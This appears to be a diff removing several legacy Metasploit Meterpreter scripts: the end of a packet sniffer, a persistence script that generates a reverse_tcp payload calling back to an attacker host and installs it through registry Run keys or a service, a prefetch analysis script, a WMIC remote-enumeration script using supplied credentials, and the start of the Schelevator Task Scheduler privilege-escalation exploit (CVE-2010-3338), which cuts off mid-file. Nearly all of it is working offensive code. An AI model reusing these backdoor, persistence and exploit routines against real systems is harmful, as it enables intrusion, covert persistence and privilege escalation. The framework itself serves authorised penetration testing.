break if res[:bytes] == 0
|
||||
fd.write(res[:data])
|
||||
end
|
||||
|
||||
fd.close
|
||||
#Converting raw file to PCAP
|
||||
fd = nil
|
||||
if(::File.exist?(path_cap))
|
||||
fd = ::File.new(path_cap, 'ab+')
|
||||
else
|
||||
fd = ::File.new(path_cap, 'wb+')
|
||||
fd.write([0xa1b2c3d4, 2, 4, 0, 0, 65536, 1].pack('NnnNNNN'))
|
||||
end
|
||||
od = ::File.new(path_raw, 'rb')
|
||||
|
||||
# TODO: reorder packets based on the ID (only an issue if the buffer wraps)
|
||||
while(true)
|
||||
buf = od.read(20)
|
||||
break if not buf
|
||||
|
||||
idh,idl,thi,tlo,len = buf.unpack('N5')
|
||||
break if not len
|
||||
if(len > 10000)
|
||||
print_error("Corrupted packet data (length:#{len})")
|
||||
break
|
||||
end
|
||||
|
||||
pkt_ts = Rex::Proto::SMB::Utils.time_smb_to_unix(thi,tlo)
|
||||
pkt = od.read(len)
|
||||
fd.write([pkt_ts,0,len,len].pack('NNNN')+pkt)
|
||||
end
|
||||
od.close
|
||||
fd.close
|
||||
|
||||
::File.unlink(path_raw)
|
||||
sleep(2)
|
||||
sleep(packtime.to_i)
|
||||
|
||||
end
|
||||
rescue::Exception => e
|
||||
print("\n")
|
||||
print_status("#{e.class} #{e}")
|
||||
print_good("Stopping Packet sniffer...")
|
||||
@client.sniffer.capture_stop(intid)
|
||||
end
|
||||
end
|
||||
|
||||
# Function for listing interfaces
|
||||
# ------------------------------------------------------------------------------
|
||||
def int_list()
|
||||
begin
|
||||
@client.core.use("sniffer")
|
||||
ifaces = @client.sniffer.interfaces()
|
||||
|
||||
print_line()
|
||||
|
||||
ifaces.each do |i|
|
||||
print_line(sprintf("%d - '%s' ( type:%d mtu:%d usable:%s dhcp:%s wifi:%s )",
|
||||
i['idx'], i['description'],
|
||||
i['type'], i['mtu'], i['usable'], i['dhcp'], i['wireless'])
|
||||
)
|
||||
end
|
||||
|
||||
print_line()
|
||||
rescue ::Exception => e
|
||||
print_error("Error listing interface: #{e.class} #{e}")
|
||||
end
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
################## Main ##################
|
||||
@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
usage
|
||||
when "-i"
|
||||
int_id = val.to_i
|
||||
when "-l"
|
||||
log_dest = val
|
||||
when "-li"
|
||||
list_int = 1
|
||||
when "-t"
|
||||
rec_time = val
|
||||
end
|
||||
}
|
||||
|
||||
# Check for Version of Meterpreter
|
||||
wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i
|
||||
|
||||
if !int_id.nil? or !list_int.nil?
|
||||
if not is_uac_enabled? or is_admin?
|
||||
if !list_int.nil?
|
||||
int_list
|
||||
else
|
||||
pcap_file = log_file(log_dest)
|
||||
startsniff(int_id)
|
||||
packetrecord(rec_time,pcap_file,int_id)
|
||||
end
|
||||
else
|
||||
print_error("Access denied (UAC enabled?)")
|
||||
end
|
||||
else
|
||||
usage
|
||||
end
|
|
@ -1,259 +0,0 @@
|
|||
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
|
||||
#-------------------------------------------------------------------------------
|
||||
################## Variable Declarations ##################
|
||||
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
# Meterpreter Session
|
||||
@client = client
|
||||
|
||||
key = "HKLM"
|
||||
|
||||
# Default parameters for payload
|
||||
rhost = Rex::Socket.source_address("1.2.3.4")
|
||||
rport = 4444
|
||||
delay = 5
|
||||
install = false
|
||||
autoconn = false
|
||||
serv = false
|
||||
altexe = nil
|
||||
target_dir = nil
|
||||
payload_type = "windows/meterpreter/reverse_tcp"
|
||||
script = nil
|
||||
script_on_target = nil
|
||||
|
||||
|
||||
@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "This help menu"],
|
||||
"-r" => [ true, "The IP of the system running Metasploit listening for the connect back"],
|
||||
"-p" => [ true, "The port on which the system running Metasploit is listening"],
|
||||
"-i" => [ true, "The interval in seconds between each connection attempt"],
|
||||
"-X" => [ false, "Automatically start the agent when the system boots"],
|
||||
"-U" => [ false, "Automatically start the agent when the User logs on"],
|
||||
"-S" => [ false, "Automatically start the agent on boot as a service (with SYSTEM privileges)"],
|
||||
"-A" => [ false, "Automatically start a matching exploit/multi/handler to connect to the agent"],
|
||||
"-L" => [ true, "Location in target host to write payload to, if none \%TEMP\% will be used."],
|
||||
"-T" => [ true, "Alternate executable template to use"],
|
||||
"-P" => [ true, "Payload to use, default is windows/meterpreter/reverse_tcp."]
|
||||
)
|
||||
|
||||
################## Function Declarations ##################
|
||||
|
||||
# Usage Message Function
|
||||
#-------------------------------------------------------------------------------
|
||||
def usage
|
||||
print_line "Meterpreter Script for creating a persistent backdoor on a target host."
|
||||
print_line(@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
# Wrong Meterpreter Version Message Function
|
||||
#-------------------------------------------------------------------------------
|
||||
def wrong_meter_version(meter)
|
||||
print_error("#{meter} version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
# Function for Creating the Payload
|
||||
#-------------------------------------------------------------------------------
|
||||
def create_payload(payload_type,lhost,lport)
|
||||
print_status("Creating Payload=#{payload_type} LHOST=#{lhost} LPORT=#{lport}")
|
||||
payload = payload_type
|
||||
pay = client.framework.payloads.create(payload)
|
||||
pay.datastore['LHOST'] = lhost
|
||||
pay.datastore['LPORT'] = lport
|
||||
return pay.generate
|
||||
end
|
||||
|
||||
# Function for Creating persistent script
|
||||
#-------------------------------------------------------------------------------
|
||||
def create_script(delay,altexe,raw,is_x64)
|
||||
if is_x64
|
||||
if altexe
|
||||
vbs = ::Msf::Util::EXE.to_win64pe_vbs(@client.framework, raw,
|
||||
{:persist => true, :delay => delay, :template => altexe})
|
||||
else
|
||||
vbs = ::Msf::Util::EXE.to_win64pe_vbs(@client.framework, raw,
|
||||
{:persist => true, :delay => delay})
|
||||
end
|
||||
else
|
||||
if altexe
|
||||
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw,
|
||||
{:persist => true, :delay => delay, :template => altexe})
|
||||
else
|
||||
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw,
|
||||
{:persist => true, :delay => delay})
|
||||
end
|
||||
end
|
||||
print_status("Persistent agent script is #{vbs.length} bytes long")
|
||||
return vbs
|
||||
end
|
||||
|
||||
# Function for creating log folder and returning log path
|
||||
#-------------------------------------------------------------------------------
|
||||
def log_file(log_path = nil)
|
||||
#Get hostname
|
||||
host = @client.sys.config.sysinfo["Computer"]
|
||||
|
||||
# Create Filename info to be appended to downloaded files
|
||||
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
||||
|
||||
# Create a directory for the logs
|
||||
if log_path
|
||||
logs = ::File.join(log_path, 'logs', 'persistence',
|
||||
Rex::FileUtils.clean_path(host + filenameinfo) )
|
||||
else
|
||||
logs = ::File.join(Msf::Config.log_directory, 'persistence',
|
||||
Rex::FileUtils.clean_path(host + filenameinfo) )
|
||||
end
|
||||
|
||||
# Create the log directory
|
||||
::FileUtils.mkdir_p(logs)
|
||||
|
||||
#logfile name
|
||||
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
|
||||
return logfile
|
||||
end
|
||||
|
||||
# Function for writing script to target host
|
||||
#-------------------------------------------------------------------------------
|
||||
def write_script_to_target(target_dir,vbs)
|
||||
if target_dir
|
||||
tempdir = target_dir
|
||||
else
|
||||
tempdir = @client.fs.file.expand_path("%TEMP%")
|
||||
end
|
||||
tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
|
||||
fd = @client.fs.file.new(tempvbs, "wb")
|
||||
fd.write(vbs)
|
||||
fd.close
|
||||
print_good("Persistent Script written to #{tempvbs}")
|
||||
# Escape windows pathname separators.
|
||||
file_local_write(@clean_up_rc, "rm #{tempvbs.gsub(/\\/, '//')}\n")
|
||||
return tempvbs
|
||||
end
|
||||
|
||||
# Function for setting exploit/multi/handler for autocon
|
||||
#-------------------------------------------------------------------------------
|
||||
def set_handler(selected_payload,rhost,rport)
|
||||
print_status("Starting connection handler at port #{rport} for #{selected_payload}")
|
||||
mul = client.framework.exploits.create("multi/handler")
|
||||
mul.datastore['WORKSPACE'] = @client.workspace
|
||||
mul.datastore['PAYLOAD'] = selected_payload
|
||||
mul.datastore['LHOST'] = rhost
|
||||
mul.datastore['LPORT'] = rport
|
||||
mul.datastore['EXITFUNC'] = 'process'
|
||||
mul.datastore['ExitOnSession'] = false
|
||||
|
||||
mul.exploit_simple(
|
||||
'Payload' => mul.datastore['PAYLOAD'],
|
||||
'RunAsJob' => true
|
||||
)
|
||||
print_good("exploit/multi/handler started!")
|
||||
end
|
||||
|
||||
# Function to execute script on target and return the PID of the process
|
||||
#-------------------------------------------------------------------------------
|
||||
def targets_exec(script_on_target)
|
||||
print_status("Executing script #{script_on_target}")
|
||||
proc = session.sys.process.execute("cscript \"#{script_on_target}\"", nil, {'Hidden' => true})
|
||||
print_good("Agent executed with PID #{proc.pid}")
|
||||
return proc.pid
|
||||
end
|
||||
|
||||
# Function to install payload in to the registry HKLM or HKCU
|
||||
#-------------------------------------------------------------------------------
|
||||
def write_to_reg(key,script_on_target)
|
||||
nam = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
key_path = "#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
|
||||
print_status("Installing into autorun as #{key_path}\\#{nam}")
|
||||
if key
|
||||
registry_setvaldata("#{key_path}", nam, script_on_target, "REG_SZ")
|
||||
print_good("Installed into autorun as #{key_path}\\#{nam}")
|
||||
file_local_write(@clean_up_rc, "reg deleteval -k '#{key_path}' -v #{nam}\n")
|
||||
else
|
||||
print_error("Error: failed to open the registry key for writing")
|
||||
end
|
||||
end
|
||||
|
||||
# Function to install payload as a service
|
||||
#-------------------------------------------------------------------------------
|
||||
def install_as_service(script_on_target)
|
||||
if not is_uac_enabled? or is_admin?
|
||||
print_status("Installing as service..")
|
||||
nam = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
print_status("Creating service #{nam}")
|
||||
service_create(nam, nam, "cscript \"#{script_on_target}\"")
|
||||
file_local_write(@clean_up_rc, "execute -H -f sc -a \"delete #{nam}\"\n")
|
||||
else
|
||||
print_error("Insufficient privileges to create service")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
################## Main ##################
|
||||
@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
usage
|
||||
when "-r"
|
||||
rhost = val
|
||||
when "-p"
|
||||
rport = val.to_i
|
||||
when "-i"
|
||||
delay = val.to_i
|
||||
when "-X"
|
||||
install = true
|
||||
key = "HKLM"
|
||||
when "-S"
|
||||
serv = true
|
||||
when "-U"
|
||||
install = true
|
||||
key = "HKCU"
|
||||
when "-A"
|
||||
autoconn = true
|
||||
when "-L"
|
||||
target_dir = val
|
||||
when "-T"
|
||||
altexe = val
|
||||
when "-P"
|
||||
payload_type = val
|
||||
end
|
||||
}
|
||||
|
||||
# Check for Version of Meterpreter
|
||||
unless client.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(client.arch)
|
||||
wrong_meter_version(client.session_type)
|
||||
end
|
||||
|
||||
print_status("Running Persistence Script")
|
||||
# Create undo script
|
||||
@clean_up_rc = log_file()
|
||||
print_status("Resource file for cleanup created at #{@clean_up_rc}")
|
||||
# Create and Upload Payload
|
||||
raw = create_payload(payload_type, rhost, rport)
|
||||
script = create_script(delay, altexe, raw, payload_type.include?('/x64/'))
|
||||
script_on_target = write_script_to_target(target_dir, script)
|
||||
|
||||
# Start exploit/multi/handler
|
||||
if autoconn
|
||||
set_handler(payload_type, rhost, rport)
|
||||
end
|
||||
|
||||
# Execute on target host
|
||||
targets_exec(script_on_target)
|
||||
|
||||
# Install in registry
|
||||
if install
|
||||
write_to_reg(key,script_on_target)
|
||||
end
|
||||
|
||||
# Install as a service
|
||||
if serv
|
||||
install_as_service(script_on_target)
|
||||
end
|
||||
|
|
@ -1,195 +0,0 @@
|
|||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
|
||||
#Meterpreter script for extracting information from windows prefetch folder
|
||||
#Provided by Milo at keith.lee2012[at]gmail.com
|
||||
#Verion: 0.1.0
|
||||
|
||||
require 'fileutils'
|
||||
require 'net/http'
|
||||
require 'digest/sha1'
|
||||
|
||||
@session = client
|
||||
@host,@port = @session.session_host, session.session_port
|
||||
|
||||
# Script Options
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu."],
|
||||
"-p" => [ false, "List Installed Programs"],
|
||||
"-c" => [ false, "Disable SHA1/MD5 checksum"],
|
||||
"-x" => [ true, "Top x Accessed Executables (Based on Prefetch folder)"],
|
||||
"-i" => [ false, "Perform lookup for software name"],
|
||||
"-l" => [ false, "Download Prefetch Folder Analysis Log"]
|
||||
)
|
||||
|
||||
@tempdir = @session.sys.config.getenv('TEMP')
|
||||
|
||||
#---------------------------------------------------------------------------------------------------------
|
||||
def read_program_list
|
||||
key = @session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', KEY_READ)
|
||||
sfmsvals = key.enum_key
|
||||
sfmsvals.each do |test1|
|
||||
begin
|
||||
key2 = "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\"+test1
|
||||
root_key2, base_key2 = @session.sys.registry.splitkey(key2)
|
||||
value1 = "DisplayName"
|
||||
value2 = "DisplayVersion"
|
||||
open_key = @session.sys.registry.open_key(root_key2, base_key2, KEY_READ)
|
||||
v1 = open_key.query_value(value1)
|
||||
v2 = open_key.query_value(value2)
|
||||
print_status("#{v1.data}\t(Version: #{v2.data})")
|
||||
rescue
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def prefetch_dump(options, logging=false)
|
||||
|
||||
lexe = File.join(Msf::Config.data_directory, "prefetch.exe")
|
||||
rexe = sprintf("%.5d",rand(100000)) + ".exe"
|
||||
rlog = sprintf("%.5d",rand(100000)) + ".txt"
|
||||
|
||||
print_status("Uploading Prefetch-tool for analyzing Prefetch folder...")
|
||||
begin
|
||||
@session.fs.file.upload_file("#{@tempdir}\\#{rexe}", lexe)
|
||||
print_status("Prefetch-tool uploaded as #{@tempdir}\\#{rexe}")
|
||||
rescue ::Interrupt; raise $!
|
||||
rescue ::Exception => e
|
||||
print_status("The following error was encountered: #{e.class} #{e}")
|
||||
return
|
||||
end
|
||||
|
||||
begin
|
||||
|
||||
if(logging)
|
||||
options += " --txt=#{@tempdir}\\#{rlog}"
|
||||
end
|
||||
|
||||
r = @session.sys.process.execute("cmd.exe /c #{@tempdir}\\#{rexe} #{options} #{rlog}", nil, {'Hidden' => 'true','Channelized' => true})
|
||||
while(d = r.channel.read)
|
||||
d.split("\n").each do |out|
|
||||
print_status("OUT> #{out.strip}")
|
||||
end
|
||||
end
|
||||
|
||||
found = true
|
||||
while (not found)
|
||||
found = false
|
||||
@session.sys.process.get_processes().each do |x|
|
||||
found = false
|
||||
if (x['name'].downcase == rexe)
|
||||
found = true
|
||||
end
|
||||
end
|
||||
sleep(0.5) if found
|
||||
end
|
||||
|
||||
r.channel.close
|
||||
r.close
|
||||
|
||||
print_status("Deleting #{rexe} from target...")
|
||||
@session.sys.process.execute("cmd.exe /c del #{@tempdir}\\#{rexe}", nil, {'Hidden' => 'true'})
|
||||
|
||||
print_status("Clearing prefetch-tool prefetch entry ...")
|
||||
@session.sys.process.execute("cmd.exe /c del %windir%\\prefetch\\#{rexe.gsub('.exe','')}*.pf", nil, {'Hidden' => 'true'})
|
||||
|
||||
if(logging)
|
||||
logfile = ::File.join(Msf::Config.config_directory, 'logs', 'prefetch', @host + "-" + ::Time.now.strftime("%Y%m%d.%M%S") + ".log")
|
||||
print_status("[*] Saving prefetch logs to #{logfile}...")
|
||||
@session.fs.file.download_file(logfile, "#{@tempdir}\\#{rlog}")
|
||||
print_status("[*] Deleting log file from target...")
|
||||
@session.sys.process.execute("cmd.exe /c del #{@tempdir}\\#{rlog}", nil, {'Hidden' => 'true'})
|
||||
end
|
||||
|
||||
rescue ::Interrupt; raise $!
|
||||
rescue ::Exception => e
|
||||
print_status("The following error was encountered: #{e.class} #{e}")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#check for proper Meterpreter Platform
|
||||
def unsupported
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
|
||||
|
||||
################## MAIN ##################
|
||||
|
||||
options = ""
|
||||
logging = false
|
||||
view_list = false
|
||||
check_update = false
|
||||
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-x"
|
||||
options += " --x=" + val
|
||||
when "-c"
|
||||
options += " --disable-md5 --disable-sha1"
|
||||
when "-p"
|
||||
view_list = true
|
||||
when "-i"
|
||||
options += " --inet-lookup"
|
||||
when "-l"
|
||||
logging = true
|
||||
when "-h"
|
||||
print_status( "Prefetch-tool Meterpreter Script")
|
||||
print_line(@@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
}
|
||||
unsupported if client.platform !~ /win32|win64/i
|
||||
prefetch_local = ::File.join(Msf::Config.data_directory, "prefetch.exe")
|
||||
|
||||
if !(::File.exist?(prefetch_local))
|
||||
print_status("No local copy of prefetch.exe, downloading from the internet...")
|
||||
Net::HTTP.start("prefetch-tool.googlecode.com") do |http|
|
||||
req = Net::HTTP::Get.new("/files/prefetch.exe")
|
||||
resp = http.request(req)
|
||||
::File.open(::File.join(Msf::Config.data_directory, "prefetch.exe"), "wb") do |fd|
|
||||
fd.write(resp.body)
|
||||
end
|
||||
end
|
||||
print_status("Downloaded prefetch.exe to #{prefetch_local}")
|
||||
else
|
||||
print_status("Checking for an updated copy of prefetch.exe..")
|
||||
digest = Digest::SHA1.hexdigest(::File.read(prefetch_local, ::File.size(prefetch_local)))
|
||||
|
||||
Net::HTTP.start("code.google.com") do |http|
|
||||
req = Net::HTTP::Get.new("/p/prefetch-tool/downloads/detail?name=prefetch.exe&can=2&q=")
|
||||
resp = http.request(req)
|
||||
body = resp.body
|
||||
chksum = body.scan(/SHA1 Checksum: <\/th><td style="white-space:nowrap">.* <a href/)[0]
|
||||
chksum.sub!(/SHA1 Checksum: <\/th><td style="white-space:nowrap"> /,'')
|
||||
chksum.sub!(/ <a href/,'')
|
||||
|
||||
if (digest != chksum)
|
||||
print_status("Downloading an updated version of prefetch.exe to #{prefetch_local}...")
|
||||
Net::HTTP.start("prefetch-tool.googlecode.com") do |http|
|
||||
req = Net::HTTP::Get.new("/files/prefetch.exe")
|
||||
resp = http.request(req)
|
||||
::File.open(::File.join(Msf::Config.data_directory, "prefetch.exe"), "wb") do |fd|
|
||||
fd.write(resp.body)
|
||||
end
|
||||
end
|
||||
print_status("Downloaded prefetch.exe to #{prefetch_local}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if (view_list)
|
||||
read_program_list()
|
||||
end
|
||||
|
||||
print_status("Running Prefetch-tool script...")
|
||||
prefetch_dump(options, logging)
|
||||
|
|
@ -1,196 +0,0 @@
|
|||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
|
||||
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
|
||||
#-------------------------------------------------------------------------------
|
||||
################## Variable Declarations ##################
|
||||
session = client
|
||||
# Variables for Options
|
||||
helpcall = 0
|
||||
rusr = nil
|
||||
rpass = nil
|
||||
trg = ""
|
||||
# Script Options
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu."],
|
||||
"-t" => [ true, "The target address"],
|
||||
"-u" => [ true, "User on the target system (If not provided it will use credential of process)"],
|
||||
"-p" => [ true, "Password of user on target system"]
|
||||
)
|
||||
|
||||
# Create Filename info to be appended to downloaded files
|
||||
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
||||
|
||||
# Create a directory for the logs
|
||||
logs = ::File.join(Msf::Config.log_directory, 'scripts', 'remotewinenum')
|
||||
|
||||
# Create the log directory
|
||||
::FileUtils.mkdir_p(logs)
|
||||
|
||||
# WMIC Commands that will be executed on the Target
|
||||
wmic = [
|
||||
'environment list',
|
||||
'share list',
|
||||
'nicconfig list',
|
||||
'computersystem list',
|
||||
'useraccount list',
|
||||
'group list',
|
||||
'sysaccount list',
|
||||
'volume list brief',
|
||||
'logicaldisk get description,filesystem,name,size',
|
||||
'netlogin get name,lastlogon,badpasswordcount',
|
||||
'netclient list brief',
|
||||
'netuse get name,username,connectiontype,localname',
|
||||
'share get name,path',
|
||||
'nteventlog get path,filename,writeable',
|
||||
'service list brief',
|
||||
'process list brief',
|
||||
'startup list full',
|
||||
'rdtoggle list',
|
||||
'product get name,version',
|
||||
'qfe list'
|
||||
]
|
||||
################## Function Declarations ##################
|
||||
|
||||
# Function for running a list of WMIC commands stored in a array, returs string
|
||||
def wmicexec(session,wmic,user,pass,trgt)
|
||||
print_status("Running WMIC Commands ....")
|
||||
tmpout = ''
|
||||
command = nil
|
||||
runfail = 0
|
||||
runningas = session.sys.config.getuid
|
||||
begin
|
||||
tmp = session.sys.config.getenv('TEMP')
|
||||
# Temporary file on windows host to store results
|
||||
wmicfl = tmp + "\\wmictmp#{rand(100000)}.txt"
|
||||
|
||||
wmic.each do |wmi|
|
||||
if user == nil
|
||||
print_status("The commands will be ran under the credentials of #{runningas}")
|
||||
command = "/node:#{trgt} /append:#{wmicfl} #{wmi}"
|
||||
else
|
||||
command = "/user:#{user} /password:#{pass} /node:#{trgt} /append:#{wmicfl} #{wmi}"
|
||||
end
|
||||
print_status "\trunning command wimic #{wmi}"
|
||||
r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'})
|
||||
sleep(1)
|
||||
r = session.sys.process.execute("cmd.exe /c echo Output of wmic #{wmi} from #{trgt} >> #{wmicfl}",nil, {'Hidden' => 'true'})
|
||||
sleep(1)
|
||||
r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'})
|
||||
sleep(1)
|
||||
#print_status "\twmic #{command}"
|
||||
r = session.sys.process.execute("cmd.exe /c wmic #{command}", nil, {'Hidden' => true})
|
||||
#Making sure that wmic finishes before executing next wmic command
|
||||
prog2check = "wmic.exe"
|
||||
found = 0
|
||||
sleep(2)
|
||||
while found == 0
|
||||
session.sys.process.get_processes().each do |x|
|
||||
found =1
|
||||
if prog2check == (x['name'].downcase)
|
||||
sleep(0.5)
|
||||
found = 0
|
||||
end
|
||||
end
|
||||
end
|
||||
r.close
|
||||
end
|
||||
# Read the output file of the wmic commands
|
||||
wmioutfile = session.fs.file.new(wmicfl, "rb")
|
||||
until wmioutfile.eof?
|
||||
tmpout << wmioutfile.read
|
||||
end
|
||||
# Close output file in host
|
||||
wmioutfile.close
|
||||
rescue ::Exception => e
|
||||
print_status("Error running WMIC commands: #{e.class} #{e}")
|
||||
end
|
||||
# We delete the file with the wmic command output.
|
||||
c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true})
|
||||
c.close
|
||||
tmpout
|
||||
end
|
||||
|
||||
#------------------------------------------------------------------------------
|
||||
# Function to generate report header
|
||||
def headerbuid(session,target,dest)
|
||||
# Header for File that will hold all the output of the commands
|
||||
info = session.sys.config.sysinfo
|
||||
header = "Date: #{::Time.now.strftime("%Y-%m-%d.%H:%M:%S")}\n"
|
||||
header << "Running as: #{client.sys.config.getuid}\n"
|
||||
header << "From: #{info['Computer']}\n"
|
||||
header << "OS: #{info['OS']}\n"
|
||||
header << "Target: #{target}\n"
|
||||
header << "\n\n\n"
|
||||
|
||||
print_status("Saving report to #{dest}")
|
||||
header
|
||||
|
||||
end
|
||||
|
||||
#------------------------------------------------------------------------------
|
||||
# Function Help Message
|
||||
def helpmsg
|
||||
print("Remote Windows Enumeration Meterpreter Script\n" +
|
||||
"This script will enumerate windows hosts in the target enviroment\n" +
|
||||
"given a username and password or using the credential under witch\n" +
|
||||
"Meterpeter is running using WMI wmic windows native tool.\n" +
|
||||
"Usage:\n" +
|
||||
@@exec_opts.usage)
|
||||
end
|
||||
################## MAIN ##################
|
||||
if client.platform =~ /win32|win64/
|
||||
localos = session.sys.config.sysinfo
|
||||
|
||||
# Check that the command is not being ran on a Win2k host
|
||||
# since wmic is not present in Windows 2000
|
||||
if localos =~ /(Windows 2000)/
|
||||
print_status("This script is not supported to be ran from Windows 2000 servers!!!")
|
||||
else
|
||||
# Parsing of Options
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
|
||||
when "-t"
|
||||
trg = val
|
||||
when "-u"
|
||||
rusr = val
|
||||
when "-p"
|
||||
rpass = val
|
||||
when "-h"
|
||||
helpmsg
|
||||
helpcall = 1
|
||||
end
|
||||
|
||||
}
|
||||
#logfile name
|
||||
dest = logs + "/" + trg + filenameinfo
|
||||
# Executing main logic of the script
|
||||
if helpcall == 0 and trg != ""
|
||||
|
||||
# Making sure that is running as System a Username and Password for target machine must be provided
|
||||
|
||||
if is_system? && rusr == nil && rpass == nil
|
||||
|
||||
print_status("Stopped: Running as System and no user provided for connecting to target!!")
|
||||
|
||||
else trg != nil && helpcall != 1
|
||||
|
||||
file_local_write(dest,headerbuid(session,trg,dest))
|
||||
file_local_write(dest,wmicexec(session,wmic,rusr,rpass,trg))
|
||||
|
||||
end
|
||||
elsif helpcall == 0 and trg == ""
|
||||
|
||||
helpmsg
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
|
@ -1,394 +0,0 @@
|
|||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
|
||||
##
|
||||
#
|
||||
# This script exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet
|
||||
#
|
||||
# Disclosed around Oct 22, 2010
|
||||
#
|
||||
# written by jduck
|
||||
#
|
||||
# NOTE: Thanks to webDEViL for the information about disable/enable.
|
||||
# http://www.exploit-db.com/exploits/15589/
|
||||
#
|
||||
# CVE 2010-3338
|
||||
# MSB MS10-092
|
||||
#
|
||||
##
|
||||
|
||||
require 'zlib'
|
||||
|
||||
#
|
||||
# Filter out sessions that this definitely won't work on.
|
||||
#
|
||||
unless [ARCH_X64, ARCH_X86, ARCH_JAVA].include(session.arch)
|
||||
print_error("#{session.arch} is not supported.")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
unless session.platform == 'windows'
|
||||
print_error("#{session.platform} is not supported.")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
if session.sys.config.sysinfo["Architecture"] == ARCH_X64 && session.arch == ARCH_X86
|
||||
#
|
||||
# WOW64 Filesystem Redirection prevents us opening the file directly. To make matters
|
||||
# worse, meterpreter/railgun creates things in a new thread, making it much more
|
||||
# difficult to disable via Wow64EnableWow64FsRedirection. Until we can get around this,
|
||||
# offer a workaround and error out.
|
||||
#
|
||||
print_error("Running against via WOW64 is not supported, try using an x64 meterpreter...")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
vuln = false
|
||||
winver = session.sys.config.sysinfo["OS"]
|
||||
affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008' ]
|
||||
affected.each { |v|
|
||||
if winver.include? v
|
||||
vuln = true
|
||||
break
|
||||
end
|
||||
}
|
||||
if not vuln
|
||||
print_error("#{winver} is not vulnerable.")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# We have a chance to succeed, check params
|
||||
#
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-c" => [ true, "Execute the specified command" ],
|
||||
"-u" => [ true, "Upload and execute the specified file" ],
|
||||
"-r" => [ true, "The IP of the system running Metasploit listening for the connect back"],
|
||||
"-p" => [ true, "The port on the remote host where Metasploit is listening"],
|
||||
"-t" => [ true, "Use the specified task name" ]
|
||||
)
|
||||
|
||||
def usage
|
||||
print_line("Schelevator -- Exploit for Windows Vista/7/2008 Task Scheduler 2.0 Privilege Escalation")
|
||||
print(@@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
rhost = Rex::Socket.source_address
|
||||
rport = 4444
|
||||
taskname = nil
|
||||
cmd = nil
|
||||
upload_fn = nil
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
|
||||
when "-c"
|
||||
cmd = val
|
||||
|
||||
when "-u"
|
||||
upload_fn = val
|
||||
if not ::File.exist?(upload_fn)
|
||||
raise "Specified file to upload does not exist!"
|
||||
end
|
||||
|
||||
when "-t"
|
||||
taskname = val
|
||||
|
||||
when "-h"
|
||||
usage
|
||||
|
||||
when "-r"
|
||||
rhost = val
|
||||
|
||||
when "-p"
|
||||
